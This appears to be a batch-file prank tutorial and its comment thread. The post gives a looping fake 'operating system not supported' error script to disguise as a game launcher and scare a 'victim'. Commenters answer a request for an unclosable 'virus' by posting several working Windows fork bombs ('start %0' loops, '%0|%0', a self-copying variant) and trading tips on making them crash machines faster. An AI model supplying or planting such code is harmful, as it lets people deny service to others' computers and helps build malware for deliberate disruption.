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What you need:
Computer running windows 95 or later
Keyboard
Mouse
Notepad.exe
A brain
Try naming this nethack.bat(a console game) and you`ll laugh at the result. @echo off cls title Error :top echo Your operaiting system is not suppored goto top
OR... Better yet... @echo off cls title Error :top echo FATAL ERROR: echo Your operating system is not supported echo Version: ver GOTO top
And result (anyways):<br/>Victim:Hmmm... I`m gonna install Windows. *Installs Windows*<br/>3 hours later...<br/>Victim: *yawn* I`m tired. I`m gonna go-*BANG* *snore* *snore* *snore*<br/>You: *types*<br/>2 minutes later...<br/>Victim: I`m gonna run nethack. *types* *gasp* AHHHHHHHHHHHHHHHH!!!!!!!!!!!!!!!!!!!<br/>You: *chuckle*<br/>Victim: AHHHH!!!!! MY GAME!!!!!!!!!!!!!!!<br/>You: *laughs*<br/>Victim: *types franticly*<br/>Computer: *beep* *beep* *beep*<br/>Victim: *types really franticly*<br/>Computer: *Opens 1000 error messages* *beep* *beep* *Opens 30 CMDs* *beeeeeeep*<br/>Victim: *types super frantic*<br/>Computer: *BEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE<br/>EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE<br/>EEEEEEEEEEEEEE* *freezes for 10 seconds* *ding* *closes all the mess*<br/>Victim: *wipes sweat off forehead*<br/>Computer: *beep* *beep* *beep* *Screen freaks out for a moment*<br/>Victim: Huh?<br/>Computer: *zzzt* *beep* *beep* *zzzt* *BEEEEEEEEEEEEEEEEEEEEE<br/>EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE<br/>EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE<br/>EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE<br/>EEEEEEEEEE* *zzzt* *BSOD comes up*<br/>Victim: *reaches for power button*<br/>You: *smirks*<br/>Computer: *Screen really freaks out* *zzzt* *beep* *BOOM*<br/>*power outage*<br/>You and victim: Oh my...<br/>Computer: *zzzt* *bezzzt* *catchs on fire* *KA-BOOM* *zzzt*<br/>
@echo off cls title Error :top echo FATAL ERROR: echo Your operating system is not supported echo Version: ver echo Required: TAT Batch Subsystem GOTO top
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@echo off<br>cls<br>title Error<br>:top<br>echo FATAL ERROR:<br>echo Your operating system is not supported<br>echo Version:<br>ver<br>echo Required: TAT Batch Subsystem<br>GOTO top<br>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>nice^^, but its crap 0o0
supported...just to letcha know...
uhm, im not sure whether PING address -n X works<br>better would be<br>&quot;PING -w (ms to wait per t) -n t 1.1.1.1&gt;nul&quot;<br>this would give more control<br>
thank you :) would you explain how i would have more control?
ping /? (^-^)<br><br>Further Information<br>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>&quot;PING&quot; should be clear<br>&quot;-w ABCD&quot; sets the delaytime the ping waits till he gets a PONG. I think MAX is 9999 and min of 1 doesn't work (because you got a little delaytime from one command to the other)<br>&quot;-n T&quot; T is the numer how often he waits (for ABCD seconds), only change is that it is not one second anymore ('cause you've set [is that right?] it with &quot;-w ABCD&quot;)<br>&quot;1.1.1.1&quot; should be a IP adress you cant ping (I use 1.1.1.1), so it waits the whole time of &quot;-w ABCD&quot; impossible is 0.0.0.0 and 255.255.255.255 (&quot;PING.EXE&quot; wont ping it properly)<br>&quot;&gt;NUL&quot; sends the output to *nowhere. &quot;&gt;CON&quot; is default (your console, that you see)<br>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br><br>Is that explanation ok?<br>(sorry for the bad English, would be nice if somebody correct it)<br><br>*NUL is a Object like LPT, LPT1, LPT2, COM etc. But NUL doesn't do anything with it. The output is deleted right away.
Script kiddie..
agreed..this stuff gets repetitive...
<em>Very</em> <em>Very</em> <em>Very</em> <em>Very</em> <em>Very</em> <em>Very</em> <em>Very</em> <em>Very</em> <em>Very</em> <em>Very</em> <em>Very</em> <em>Very</em> <em>Very</em> <em>Very</em> <em>Very</em> repetitive!<br/>
no, more like <em><strong>Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very Very</strong></em><br/>
yh i no lol but i was workin on a virus that can't be closed and always repeats itself but i got stuck on the can't b closed bit ne ideas?
uhh you mean like a forkbomb without the bomb? @echo off color 0a echo killing your computer :haha start %0 goto haha
Simpler fork Bomb :a start %0 %0|%0 goto :a I have tried crashing my windows 3.1 laptop but it just keeps going. I had it sitting there for 45 min running this fork bomb. It didn't crash. Although you can put a fork bomb on a floppy disk and load the fork bomb from the disk and after about 5 min of the fork running off the disk remove the disk and the (at least mine did) computer will require a forced reboot.
just use a more resource heavy program and it'll kill the computer in seconds...
By resource heavy you mean forks faster? Or uses a bigger file? Or something else?
both...make it evvvvil
How could you make it fork faster?
idk...maybe add more of the start %0 like: :a start %0 start %0 start %0 start %0 goto a
Maybe :A start %0 start %0 start %0 start %0 start %0 %0|%0 %0|%0 %0|%0 %0|%0 %0|%0 goto A
I did somthing like this once:<br/><span class="underline"></span><span class="underline"></span><span class="underline"></span><span class="underline"></span><span class="underline"></span><span class="underline"></span><span class="underline"></span><span class="underline"></span><br/><br/>set num=1<br/>set new=%num%%0<br/>:start<br/>copy &quot;%0&quot; &quot;%new%&quot;<br/>start %0<br/>start %new%<br/>set /a num=%num%+1<br/>goto start<br/>
No, %0|%0 just pretty much causes numerous bugs and errors in the program, slowing it down.
taking a sledge hammer to it is even faster...<sup>hammer FTW</sup><br/>
<pre>%0:astart %0goto a</pre>Is faster than that.<br/>
Well, Rocket Propelled Grenade launchers work pretty well..........
meh....to much room for error (missfire, resiliant pc, or a miss all together)....i prefer binary explosives...
Would it be faster because it has fewer functions to perform? Also could you change the %0 to something like %9?
%0 is the path to the batch file itself. If it was located in the c: drive and saved as &quot;hdf.bat&quot;, %0 would mean the same as &quot;C:\hdf.bat&quot;. %1-%9 are all different. Check out <a rel="nofollow" href="http://www.instructables.com/id/Basic_Replaceable_Parameters/">this</a>.<br/>
w/e...
Buy a faster computer.
That would only make it more resistant to the fork bomb.
in theory yes...as for actual practice, maybe not as more resources mean more time to fill the ram and overload the proseccor...
nvm, the cant be closed bit....i would try shadow ops instructables on start a batch file on code for starting a script fullscreen, as most people freak out when they can't see the X and therefore assume their computers broken
I don't help people who make viruses...
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<pre>@echo offecho Very:aecho verygoto aecho repetitive!</pre><br/>Beat that :P<br/>
Um...<br/><br/><pre>@echo offtitle SUPER-DUPER:POOPERecho LOOPERecho COOPERecho FUPERecho KUPERecho NOOPERecho OOPERecho TUPERgoto POOPERecho Repetitive!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!</pre>Haha!<br/>
its getting repetitive....
@echo off title Win32.RESeat.S REM RESeat.S means this program eats memory. echo Your computer will crash soon. :endlesstorture start %0 start %0 start %0 start %0 start %0 start %0 start %0 start %0 start %0 start %0 start %0 goto endlesstorture
sry most prople dont have that last one
I no , people think that it is funny to say this is very very very etc repetitive
Ha! You think <em>that`s</em> looping text! <em><strong>NO</strong></em> way, howza!<br/>
<pre>@echo offtitle Looping text:loopecho This is REAL looping textgoto loop</pre>

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